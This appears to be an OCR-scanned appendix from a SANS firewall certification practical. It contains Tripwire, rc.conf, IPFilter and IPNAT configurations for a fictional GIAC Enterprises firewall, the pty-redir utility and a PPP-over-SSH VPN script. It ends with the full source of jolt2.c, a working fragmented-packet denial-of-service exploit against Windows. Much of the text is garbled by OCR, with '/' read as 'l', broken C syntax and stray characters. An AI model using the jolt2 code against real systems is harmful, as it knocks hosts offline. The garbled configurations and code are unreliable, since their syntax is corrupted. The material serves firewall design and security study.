{usr/sbin/ifmcstat -> $(SEC_SUID);
{usr/sbinfiostat -> $(SEC_SUID);
{usr/sbin/lpc -> $(SEC_SUID);
{usr/sbin/mrinfo -> $(SEC_SUID);
{usr/sbin/mtrace -> $(SEC_SUID);
lusr/sbin/ppp -> $(SEC_SUID);
{usr/sbin/pppd -> $(SEC_SUID);
lusr/sbin/pstat -> $(SEC_SUID);
{usr/sbin/sliplogin -> $(SEC_SUID);
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{usr/sbin/swapinfo -> $(SEC_SUID);
lusr/sbin/timedc -> $(SEC_SUID);
{usr/sbin/traceroute -> $(SEC_SUID);
{usr/sbin/traceroute6 -> $(SEC_SUID);
{usr/sbin/trpt -> $(SEC_SUID);

}

(rulename = "Configuration Files", severity
{
letc/hosts -> $(SEC_CONFIG);
letc/inetd.conf -> $(SEC_CONFIG);
letc/resolv.conf -> $(SEC_CONFIG);
letc/syslog.conf -> $(SEC_CONFIG);
letc/newsyslog.conf -> $(SEC_CONFIG);

}

(rulename = "Security Control", severity =
{
letc/group -> $(SEC_CRIT);
letc/security/ -> $(SEC_CRIT);
}

= $(SIG_MED))

$(SIG_HI))

(rulename = "Login Scripts", severity = $(SIG_HI))

{
letc/csh.login -> $(SEC_CONFIG);

letc/csh.logout -> $(SEC_CONFIG);
letc/csh.cshrc -> $(SEC_CONFIG);
letc/profile -> $(SEC_CONFIG);

}

# These files change every time the system boots

(rulename = "System boot changes", severity = $(SIG_HI))

{

/devi/log -> $(Dynamic);
/dev/icuaal -> $(Dynamic);
/dev/console -> $(Dynamic);
/dev/ttyv0 -> $(Dynamic);
/devittyv1 -> $(Dynamic);
/devittyv2 -> $(Dynamic);
/devittyv3 -> $(Dynamic);
/devittyv4 -> $(Dynamic);
/dev/ttyv5 -> $(Dynamic);
/devittyv6 -> $(Dynamic);
/dev/ttyp0 -> $(Dynamic);
/devittyp1 -> $(Dynamic);
/devittyp2 -> $(Dynamic);
/dev/ttyp3 -> $(Dynamic);
/devittyp4 -> $(Dynamic);
/devittyp5 -> $(Dynamic);
/dev/ttyp6 -> $(Dynamic);
/dev/urandom -> $(Dynamic);
Nvar/run -> $(Dynamic);
Ivar/log -> $(Dynamic);

© SANS Institute 2000 - 2005

62

Author retains full rights.



# Critical configuration files

(rulename = "Critical configuration files", severity = $(SIG_HI))

{
letc/crontab -> $(ReadOnly);
letc/periodic/daily -> $(ReadOnly);
letc/periodic/weekly -> $(ReadOnly);
letc/periodic/monthly -> $(ReadOnly);
letc/defaults -> $(ReadOnly);
letc/fstab -> $(ReadOnly);
letc/hosts.allow -> $(ReadOnly);
letclttys -> $(ReadOnly);
letc/gettytab -> $(ReadOnly);
letc/protocols -> $(ReadOnly);
/etc/services -> $(ReadOnly);
letc/rc -> $(ReadOnly);
letc/rc.conf -> $(ReadOnly);
letc/rc.atm -> $(ReadOnly);
letc/rc.devfs -> $(ReadOnly);
letc/rc.diskless1 -> $(ReadOnly);
letc/rc.diskless2 -> $(ReadOnly);
letc/rc.firewall -> $(ReadOnly);
[etc/rc.firewall6 -> $(ReadOnly);
letc/rc.i386 -> $(ReadOnly);
letc/rc.isdn -> $(ReadOnly);
letc/rc.network -> $(ReadOnly);
letc/rc.networké -> $(ReadOnly);
letc/rc.pccard -> $(ReadOnly);
letc/rc.resume -> $(ReadOnly);
letc/rc.serial -> $(ReadOnly);
letc/rc.shutdown -> $(ReadOnly);
letc/rc.suspend -> $(ReadOnly);
letc/rc.syscons -> $(ReadOnly);
letc/rc.sysctl -> $(ReadOnly);
letc/motd -> $(ReadOnly);
letc/passwd -> $(ReadOnly);
letc/master.passwd -> $(ReadOnly);
letc/pwd.db -> $(ReadOnly);
letc/spwd.db -> $(ReadOnly);
letc/rpc -> $(ReadOnly);
letc/shells -> $(ReadOnly);
letclipf.rules -> $(ReadOnly);
letc/ipnat.rules -> $(ReadOnly);
letc/ssh/sshd_config -> $(ReadOnly);

}

# Critical devices
(rulename = "Critical devices", severity = $(SIG_HI), recurse = false)
{

/dev/kmem -> $(Device);

/dev/imem -> $(Device);

/dev/null -> $(Device);

/dev/zero -> $(Device);
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letc/rc.conf

# -- sysinstall generated deltas -- #

# Created: Wed Apr 4 18:50:30 2001

# Enable network daemons for user convenience.

# This file now contains just the overrides from /etc/defaults/rc.conf
# please make all changes to this file.
gateway_enable="YES"
hostname="giac-ent-fw.giac.com"

ifconfig_ed0="inet 160.2.36.16 netmask 255.255.0.0"
inetd_enable="NO"

kern_securelevel="2"

kern_securelevel _enable="YES"

moused_enable="YES"

nfs_server_enable="NO"

portmap_enable="NO"

saver="logo"

sendmail_enable="NO"

sshd_enable="YES"

syslogd_flags="-ss"

sshd_flags="-4"

ipfilter_enable="YES"

ipmon_enable="YES"

ipmon_flags="-Dsvn"

ipnat_enable="YES"

network_interfaces="ed0 ed1 lo0"

ifconfig_ed1="inet 192.168.1.1 netmask 255.255.255.0"
# -- sysinstall generated deltas -- #

amd_flags="-a /.amd_mnt -l syslog /host /etc/amd.map /net /etc/amd.map "

letclipf.rules

ipf.conf file

Isba source file : ipf.rules
Compiled for : giac-ent-fw.giac.com
Path : /root
Compilation date : Fri Jul 27 20:17:49 CDT 2001
User : root

HHEHEHFHHHHR

H*

Pass packets across the local interface

# Local loopback
# pass in quick on lo
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pass in quick on lo all
#1#

# Local loopback

# pass out quick on lo

pass out quick on lo all
#2#

#
# Block short packets or IP options set

# Block packets that are short or have ip options set.
# block in quick on int-intf with short ipopts
block in quick on ed0 all with ipopts with short

#3#

#
# There are certain combinations of bits in the TCP header that are questionable
# at best. These are PUF (Push/Urgent/Fin) SF (Syn/Fin) and SUPRAF

# (Syn/Ack/Push/Urgent/Fin/Reset)

# Push/Urgent/Fin

# block in quick on int-intf flags PUF/PUF

block in quick on ed0 proto tcp all flags PUF/PUF
#4#

# Syn/Fin

# block in quick on int-intf flags SF/SF

block in quick on ed0 proto tcp all flags SF/SF
#5#

# All flags set

# block in quick on int-intf flags /Oxff

block in quick on ed0O proto tcp all flags /Oxff
#6#

#
# Dispatch to the appropriate group depending on the interface and direction

# Incoming packets from the Internet/router
# pass in on int-intf head 100
pass in on ed0 all head 100

#r#

# Incoming packets from the LAN

# pass in on lan-intf head 200

pass in on ed1 all head 200
#8#

# Incoming packets from the DMZ

# pass in on dmz-intd head 300

pass in on ed2 all head 300
#O#
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# Incoming packets from the VPN

# pass in on vpn-intf head 400

pass in on ed3 all head 400
#10#

# Outgoing packets to the LAN

# pass out on lan-intf head 500

pass out on ed1 all head 500
#11#

#
# Group 100 - Packets arrive on the external Internet interface.

# Remote management and time sync needs to be permitted for the router.
# Web, FTP, mail, and SSH are permitted in. All other traffic is blocked.

# Block and log any telnet, rexec, rlogin, or rsh session initiated - from the outside.
# block in log first quick on int-intf service telnet|rexec|rlogin|rsh flags S/S group 100
block in log first quick on ed0 proto tcp from any to any port = 23 flags S/S group

100 #12#
block in log first quick on ed0 proto tcp from any to any port = 512 flags S/S group
100 #12#
block in log first quick on ed0 proto tcp from any to any port = 514 flags S/S group
100 #12#
block in log first quick on ed0 proto tcp from any to any port = 513 flags S/S group
100 #12#

# Pass telnet packets from the router and the firewall to the - designated
management stations

# pass in quick on int-intf from brouter|giac-fw-int to mngmnt-1jmngmnt-2 service telnet
flags SA/SA group 100

pass in quick on ed0 proto tcp from 160.2.36.17/32 to 192.168.1.55/32 port = 23 flags
SA/SA group 100 #13#

pass in quick on ed0 proto tcp from 160.2.36.17/32 to 192.168.1.56/32 port = 23 flags
SA/SA group 100 #13#

pass in quick on ed0 proto tcp from 192.168.1.40/32 to 192.168.1.55/32 port = 23
flags SA/SA group 100 #13#

pass in quick on ed0 proto tcp from 192.168.1.40/32 to 192.168.1.56/32 port = 23
flags SA/SA group 100 #13#

# Time sync request from the router or the firewall

# pass in quick on int-intf from brouter|giac-fw-int to ntp-server service ntp K-S group
100

pass in quick on ed0 proto tcp/udp from 160.2.36.17/32 to 192.168.1.77/32 port = 123
keep state group 100 #1444

pass in quick on ed0 proto tcp/udp from 192.168.1.40/32 to 192.168.1.77/32 port =
123 keep state group 100 #1444

# Allow in traffic to the Web Server

# pass in quick on int-intf to giac-ent service http K-S K-F group 100

pass in quick on ed0 proto tcp from any to 160.2.36.16/32 port = 80 keep state keep
frags group 100 #15#

# Allow secure HTTP to the web server

# pass in quick on int-intf to giac-ent service ssl K-S K-F group 100
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pass in quick on ed0 proto tcp from any to 160.2.36.16/32 port = 443 keep state
keep frags group 100 #16#

# Allow DNS queries

# pass in quick on int-intf to giac-ent service dns K-S with frag group 100

pass in quick on ed0 proto tcp/udp from any to 160.2.36.16/32 port = 53 with frag
keep state group 100 #17#

# Allow email from the Internet

# pass in quick on int-intf to giac-ent service smtp K-S K-F group 100

pass in quick on ed0 proto tcp from any to 160.2.36.16/32 port = 25 keep state keep
frags group 100 #18#

# Allow FTP command channel

# pass in quick on int-intf to giac-ent service ftp K-S K-F group 100

pass in quick on ed0 proto tcp from any to 160.2.36.16/32 port = 21 keep state keep
frags group 100 #19#

# Allow PASV FTP Data channel
# pass in quick on int-intf port high-port to giac-ent service ftp-data K-S K-F group

100
pass in quick on ed0 proto tcp from any port 1023 >< 65535 to 160.2.36.16/32 port
= 20 keep state keep frags group 100 #20%#

# Allow in SSH from the Internet for VPN Services

# pass in quick on int-intf to giac-ent service ssh K-S K-F group 100

pass in quick on ed0 proto tcp from any to 160.2.36.16/32 port = 22 keep state keep
frags group 100 #21#

# Block and log anything else from the Internet - to GIAC Enterprises
# block in log first quick on int-intf group 100
block in log first quick on ed0 all group 100

#22#

#
# Group 200 - Packets arrive on the LAN Interface destined for the Internet
# or for the DMZ.

# Allow internal system to access the web server

# pass in quick on lan-intf from giac-int to www-server service http K-S group 200
pass in quick on ed1 proto tcp from 192.168.0.0/16 to 192.168.2.3/32 port = 80 keep
state group 200 #23#

# Allow secure HTTP to the web server

# pass in quick on lan-intf from giac-int to www-server service ssl K-S group 200
pass in quick on ed1 proto tcp from 192.168.0.0/16 to 192.168.2.3/32 port = 443
keep state group 200 #24#

# Allow internal systems to mail server

# pass in quick on lan-intf from giac-int to email-server service smip K-S group 200
pass in quick on ed1 proto tcp from 192.168.0.0/16 to 192.168.2.1/32 port = 25 keep
state group 200 #25#

# Allow internal systems to the DNS server
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# pass in quick on lan-intf from giac-int to DNS-server service dns K-S group 200
pass in quick on ed1 proto tcp/udp from 192.168.0.0/16 to 192.168.2.2/32 port = 53
keep state group 200 #26#

# Allow FTP command channel to web server

# pass in quick on lan-intf from giac-int to www-server service ftp K-S group 200
pass in quick on ed1 proto tcp from 192.168.0.0/16 to 192.168.2.3/32 port = 21 keep
state group 200 H#2T#

# Allow PASV FTP data channel to web server
# pass in quick on lan-intf from giac-int port high-port to www-server service ftp-data K-

S group 200
pass in quick on ed1 proto tcp from 192.168.0.0/16 port 1023 >< 65535 to
192.168.2.3/32 port = 20 keep state group 200 #28#

# Allow the management stations on the internal network telnet - access to the
external servers

# pass in quick on lan-intf from mngmnt-1jmngmnt-2 to www-server|email-server|DNS-
server|brouter|giac-fw-int service telnet K-S group 200

pass in quick on ed1 proto tcp from 192.168.1.55/32 to 160.2.36.17/32 port = 23

keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.55/32 to 192.168.1.40/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.55/32 to 192.168.2.1/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.55/32 to 192.168.2.2/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.55/32 to 192.168.2.3/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.56/32 to 160.2.36.17/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.56/32 to 192.168.1.40/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.56/32 to 192.168.2.1/32 port = 23
keep state group 200 H#29#
pass in quick on ed1 proto tcp from 192.168.1.56/32 to 192.168.2.2/32 port = 23
keep state group 200 #29#
pass in quick on ed1 proto tcp from 192.168.1.56/32 to 192.168.2.3/32 port = 23
keep state group 200 #29#

# Time Synchonization with the time server

# pass in quick on lan-intf from ntp-server to www-server|DNS-server|email-
server|brouter|giac-fw-int service ntp K-S group 200

pass in quick on ed1 proto tcp/udp from 192.168.1.77/32 to 160.2.36.17/32 port = 123

keep state group 200 #30#
pass in quick on ed1 proto tcp/udp from 192.168.1.77/32 to 192.168.1.40/32 port =
123 keep state group 200 #30#
pass in quick on ed1 proto tcp/udp from 192.168.1.77/32 to 192.168.2.1/32 port = 123
keep state group 200 #30#
pass in quick on ed1 proto tcp/udp from 192.168.1.77/32 to 192.168.2.2/32 port = 123
keep state group 200 #30#
pass in quick on ed1 proto tcp/udp from 192.168.1.77/32 to 192.168.2.3/32 port = 123
keep state group 200 #30#
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# Allow HTTP to the Internet

# pass in quick on lan-intf from giac-int service http K-S K-F group 200

pass in quick on ed1 proto tcp from 192.168.0.0/16 to any port = 80 keep state keep
frags group 200 #31#

# Allow FTP command channel to the Internet

# pass in quick on lan-intf from giac-int service ftp K-S K-F group 200

pass in quick on ed1 proto tcp from 192.168.0.0/16 to any port = 21 keep state keep
frags group 200 #32#

# Allow PASV FTP data channel to the Internet
# pass in quick on lan-intf from giac-int port high-port service ftp-data K-S K-F group

200
pass in quick on ed1 proto tcp from 192.168.0.0/16 port 1023 >< 65535 to any port
= 20 keep state keep frags group 200 #33#

# Block all other traffic from the internal network
# block in log quick on lan-intf group 200
block in log quick on ed1 all group 200

#34#

#
# Group 300 - Packets come from the DMZ to the internal systems or to the
# Internet, The filter rules will pass HTTP, SMTP, SSL, DNS, and (limited) telnet.
# Anthing else is most likely BOGUS!

#

# Allow HTTP from the web server

# pass in quick on dmz-intd from www-server service http K-S group 300

pass in quick on ed2 proto tcp from 192.168.2.3/32 to any port = 80 keep state
group 300 #35#

# Allow SSL from the web server

# pass in quick on dmz-intd from www-server service ssl K-S group 300

pass in quick on ed2 proto tcp from 192.168.2.3/32 to any port = 443 keep state
group 300 #36#

# Allow DNS from the external DNS server

# pass in quick on dmz-intd from DNS-server service dns K-S group 300

pass in quick on ed2 proto tcp/udp from 192.168.2.2/32 to any port = 53 keep state
group 300 #3TH

# Allow SMTP from the mail server

# pass in quick on dmz-intd from email-server service smtp K-S group 300

pass in quick on ed2 proto tcp from 192.168.2.1/32 to any port = 25 keep state
group 300 #38#

# Allow FTP command channel from the web server

# pass in quick on dmz-intd from www-server service fip K-S group 300

pass in quick on ed2 proto tcp from 192.168.2.3/32 to any port = 21 keep state
group 300 #39#

# Allow FTP data channel from the web server

# pass in quick on dmz-intd from www-server service ftp-data K-S group 300
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pass in quick on ed2 proto tcp from 192.168.2.3/32 to any port = 20 keep state
group 300 #40#

# Allow telnet with the management stations
# pass in quick on dmz-intd from www-server|DNS-server|email-server to mngmnt-
1lmngmnt-2 service telnet K-S group 300

pass in quick on ed2 proto tcp from 192.168.2.1/32 to 192.168.1.55/32 port = 23
keep state group 300 #414#
pass in quick on ed2 proto tcp from 192.168.2.1/32 to 192.168.1.56/32 port = 23
keep state group 300 #414#
pass in quick on ed2 proto tcp from 192.168.2.2/32 to 192.168.1.55/32 port = 23
keep state group 300 #414#
pass in quick on ed2 proto tcp from 192.168.2.2/32 to 192.168.1.56/32 port = 23
keep state group 300 #414#
pass in quick on ed2 proto tcp from 192.168.2.3/32 to 192.168.1.55/32 port = 23
keep state group 300 #414#
pass in quick on ed2 proto tcp from 192.168.2.3/32 to 192.168.1.56/32 port = 23
keep state group 300 #414#

# Blocking rule for group Group 300. Most likly bogus.
# block in log quick on dmz-intd group 300
block in log quick on ed2 all group 300

#42#

#
# Group 400 - Packets come from the VPN interface. The only traffic coming from
# the VPN interface should be SSH. Other traffic is BOGUS.

# Allow SSH from the VPN server.

# pass in quick on vpn-intf from vpn-server service ssh group 400

pass in quick on ed3 proto tcp from 192.168.3.1/32 to any port = 22 group 400
H#43#

# Group 400 blocking rule. Block other ftraffic originating - the VPN server not SSH.
# block in log quick on vpn-intf from vpn-server group 400
block in log quick on ed3 from 192.168.3.1/32 to any group 400

#44#
#
# Group 500 - Packets orginating from the firewall to the local LAN
#

# Time sync with the time server

# pass out quick on lan-intf from giac-fw-int to ntp-server service ntp group 500
pass out quick on ed1 proto tcp/udp from 192.168.1.40/32 to 192.168.1.77/32 port =
123 group 500 #45#

# Pass messages to the syslog servers
# pass out quick on lan-intf from giac-fw-int to syslog-server-1|syslog-server-2 service
syslogd group 500

pass out quick on ed1 proto udp from 192.168.1.40/32 to 192.168.1.57/32 port = 514
group 500 #46#
pass out quick on ed1 proto udp from 192.168.1.40/32 to 192.168.1.58/32 port = 514
group 500 #46#
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# Pass telnet sessions back to management stations - that are established.
# pass out quick on lan-intf from giac-fw-int to mngmnt-1|mngmnt-2 service telnet flags
SA/SA group 500

pass out quick on ed1 proto tcp from 192.168.1.40/32 to 192.168.1.55/32 port = 23
flags SA/SA group 500 H#HATH
pass out quick on ed1 proto tcp from 192.168.1.40/32 to 192.168.1.56/32 port = 23
flags SA/SA group 500 H#HATH

# Default block for packets originating on the - firewall bound for the internal LAN.
# block out log on lan-intf from giac-fw-int to giac-int group 500
block out log on ed1 from 192.168.1.40/32 to 192.168.0.0/16 group 500

#48#
letclipnat.rules
#
# ipnat.conf file
#
# Isba source file : ipnat.rules
# Compiled for : giac-ent-fw.giac.com
# Path : /root
# Compilation date : Fri Jul 27 20:17:49 CDT 2001
# User : root
#
#
# Network Address Translation Rule - Translate internal GIAC Enterprises
# internal addresses to the address of the firewall.
#
# Internal addresses are translated to the address of the - Firewall and vice versa.

# map int-intf giac-int -> giac-ent
map ed0 192.168.0.0/16 -> 160.2.36.16/32
#1#

#
# Redirection Rules - HTTP, Secure HTTP, DNS, SMTP, and FTP are redirected
# to the appropriate server and back.

# Redirect web traffic to the web server

# rdr int-intf http -> www-server http tcp

rdr ed0 160.2.36.16/32 port 80 -> 192.168.2.3 port 80 tcp
#2#

# Redirect Secure HTTP to the web server

# rdr int-intf ssl -> www-server ssl tcp

rdr ed0 160.2.36.16/32 port 443 -> 192.168.2.3 port 443 tcp
#3#
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# Redirect DNS traffic

# rdr int-intf dns -> DNS-server dns tcp/udp

rdr ed0 160.2.36.16/32 port 53 -> 192.168.2.2 port 53 tcp/udp
#a#

# Redirect Email traffic to the mail server

# rdr int-intff smtp -> email-server smtp tcp

rdr ed0 160.2.36.16/32 port 25 -> 192.168.2.1 port 25 tcp
#5#

# Redirect FTP command channel to the web server

# rdr int-intf ftp -> www-server ftp tcp

rdr ed0 160.2.36.16/32 port 21 -> 192.168.2.3 port 21 tcp
#o#

# Redirect PASV FTP data channel to the web server

# rdr int-intf ftp-data -> www-server ftp-data tcp

rdr ed0 160.2.36.16/32 port 20 -> 192.168.2.3 port 20 tcp
H#T#

# Redirect SSH to the VPN server

# rdr int-intf ssh -> vpn-server ssh tcp

rdr ed0 160.2.36.16/32 port 22 -> 192.168.3.1 port 22 tcp
#8#

pty-redir.c

/*
Copyright (c) 1997 Magosanyi Arpad

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or (at
your option) any later version.

This program is distributed in the hope that it will be useful, but

WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Ez a program szabad szoftver; szbadon masolhaté és/vagy modosithatéd
a GNU General Public Licence feltételei alapjan, ahogyan azt a Szabad
Szoftver Alapitvany kozreadta; akar a 2-es, akar barmely késdbbi verzid
alapjan.

Ezt a programot abban a reményben terjesztem, hogy hasznalhaté lesz,

de BARMILYEN GARANCIA NELKUL; beleértve a hasznalhatésagra vagy egy adott
célra vald megfelelésre vonatkozd garanciat is.

Lasd a GNU General Public Licence-t a részletekért.
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Ezt a programot kisérnie kell a GNU General Public Licence egy
masolatanak. Ha ezt hianyolna, irjon a Free Software Foundation, Inc.,
675 Mass Ave, Cambridge, Ma 02139, USA cimére.

Ha barmi problémad, észrevételed, otleted, patched van, irj a
mag@tas.vein.hu, vagy az ssa@tohotom.vein.hu cimre (az utébbi a
Magyar Szabad Szoftver Alapitvany levelezdlistaja.)

*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PTYOO0 "/dev/ptyXX"
#define PTY10 "pgrs"
#define PTY01 "0123456789abcdef"

static int
getPtyMaster(char *tty10, char *tty01)
{

char *p10;

char *p01;

static char dev[] = PTYO0O;

int fd;

for (p10 = PTY10; *p10 != "\0"; p10++) {
dev[8] = *p10;
for (p01 = PTYO01; *p01 != "\0"; pO1++) {
dev[9] = *p01;
fd = open(dev, O_RDWR);

if (fd >= 0) {
*tty10 = *p10;
*tty01 = *p01;
return fd;
}
}
}
fprintf(stderr,"Ran out of pty.\n");
exit(1);
return fd;
}
void main(int argc,char *argv[])
{
int fd;
char a,b;

char **args;
char *envs[]={NULL};
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int i;

fd=getPtyMaster(&a,&b);
fprintf(stdout,"/dev/tty%c%c",a,b);
fflush(stdout);
if(NULL==(args=malloc((argc)*sizeof(char *))))
{
fprintf(stderr,"Virtual memory exhausted\n");
exit(1);
}
for(i=1;i<argc;i++)
{
argsl[i-1]=argv([i;

args[argc-11=NULL; /*End of params®/
dup2(fd,0);

dup2(fd,1);

fflush(NULL);

if(fork())

exit(0);
elsef
if(execve(argv[1],args,envs))

perror("execve: ");

exit(-2);
}

}
}
VPN Script
#! /bin/sh
# skeleton example file to build /etc/init.d/ scripts.
# This file should be used to construct scripts for
# letclinit.d.
#
# Written by Miquel van Smoorenburg <miquels@cistron.nl>.
# Modified for Debian GNU/Linux
# by lan Murdock <imurdock@gnu.ai.mit.edu>.
# Modified for SANS GCFW Practical
# by Gary Smith for ACME
#
# Version: @(#)skeleton 1.6 11-Nov-1996 miquels@cistron.nl
#

PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:
PPPDAPP=/home/fw-vpn1/pppd
ROUTEAPP=/home/fw-vpn1/route
PPPD=/usr/sbin/pppd
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NAME=VPN
REDIR=/usr/local/bin/pty-redir
SSH=/usr/local/bin/ssh
MYPPPIP=192.168.7.1
TARGETIP=192.168.7.2
TARGETNET=192.168.3.0
MYNET=192.168.5.0
FIREWALL=giac-ent-fw.giac.com
CENTRALACC=fw-vpn1

test -f $PPPD || exit O
set -e

case "$1" in
start)
echo setting up vpn
$REDIR $SSH -o 'Batchmode yes' -t -| $SLAVEACC $SLAVEWALL sudo
$PPPAPP 2>/tmp/device
TTYNAME="cat /tmp/device’
echo tty is $STTYNAME

sleep 10s
if [! -z $TTYNAME ]
then
$PPPD $TTYNAME ${MYPPPIP}:${TARGETIP}
else
echo FAILED!
logger "vpn setup failed"
fi
sleep 5s
# route add -net $TARGETNET gw $TARGETIP
# $SSH -0 'Batchmode yes' -I $SLAVEACC $SLAVEWALL sudo $ROUTEAPP
stop)
ps -ax | grep "ssh -t -l $SLAVEACC " | grep -v grep | awk Yprint $1} |
xargs Kill

*) ”
# echo "Usage: /etc/SNAME {start|stop|reload}"
echo "Usage: /etc/SNAME ({start|stop}"
exit 1

esac

exit O

joit2.c

/*
* File: jolt2.c
* Author: Phonix <phonix@moocow.org>
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Date: 23-May-00

Windows denial-of-serice attack described by
the Razor team (NTBugtrag, 19-May-00)
(MS00-029). This code causes cpu utilization
to go to 100%.

Tested against: Win98; NT4/SP5,6; Win2K

Written for: My Linux box. YMMV. Deal with

* * * * * * * * * * * * * * * *

for anything except putting this file together.

*
~

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpalinet.h>
#include <getopt.h>

struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;

} pkt;

int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;

void usage(char *pname)

{

fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest addr\n”,

pname);

fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");

© SANS Institute 2000 - 2005

Description: This is the proof-of-concept code for the

it.

Thanks: This is standard code. Ripped from lots of places.
Insert your name here if you think you wrote some of
it. It's a trivial exploit, so | won't take credit
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exit(0);
}

u_long host_to_ip(char *host_name)
{

static u_long ip_bytes;

struct hostent *res;

res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

void quit(char *reason)

{
perror(reason);
close(spf_sck);
exit(-1);

}

int do_frags (int sck, u_long src_addr, u_long dst addr, int port)
{

int bs, psize;

unsigned long x;

struct sockaddr_in to;

to.sin_family = AF_INET,;
to.sin_port = 1235;
to.sin_addr.s_addr = dst _addr;

if (port)

psize = iplen + udplen + 1;
else

psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);

pkt.ip.version = 4;

pkt.ip.ihl = 5;

pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);

pkt.ip.ttl = 255;

pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;

pkt.ip.daddr = dst_addr;

pkt.ip.frag_off = htons (8190);
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if (port)

{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a’;

} else {
pkt.proto.icmp.type
pkt.proto.icmp.code
pkt.proto.icmp.checksu

}

ICMP_ECHO;
0;
m

:O;

while (1) {
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}

return bs;

int main(int argc, char *argv[])
{
u_long src_addr, dst addr;
int i, bs=1, port=0;
char hostname[32];

if (argc < 2)
usage (argv[0]);

gethostname (hostname, 32);
src_addr = host_to_ip(hostname);

while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{
switch (i)
{
case 's".
dst_addr = host_to_ip(optarg);
if (!dst_addr)
quit("Bad source address given.");
break;

case 'p"
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;
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case 'h"
default:
usage (argv[0]);

dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (Ispf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

do_frags (spf_sck, src_addr, dst_addr, port);
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